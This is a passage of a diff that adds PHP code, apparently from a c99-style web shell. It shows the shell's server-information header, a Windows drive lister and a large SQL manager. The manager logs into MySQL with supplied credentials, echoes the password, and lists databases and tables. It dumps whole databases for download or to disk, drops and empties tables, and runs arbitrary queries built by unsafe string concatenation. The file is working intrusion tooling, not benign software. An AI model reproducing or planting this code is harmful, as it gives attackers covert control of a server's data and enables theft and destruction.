".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +echo "<b>Your ip: <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; +$letters = ""; +if ($win) +{ +$v = explode("\\",$d); +$v = $v[0]; +foreach (range("a","z") as $letter) +{ + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } +} +if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ +foreach($quicklaunch as $item) +{ + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; +} +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ +$sql_surl = $surl."act=sql"; +if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} +if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} +if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} +if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} +if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} +$sql_surl .= "&"; +?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php +if ($sql_server) +{ + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} +} +else {$sql_sock = FALSE;} +echo "<b>SQL Manager:</b><br>"; +if (!$sql_sock) +{ + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} +} +else +{ + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; +} +echo "</td></tr><tr>"; +if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } +else +{ + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>+</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" 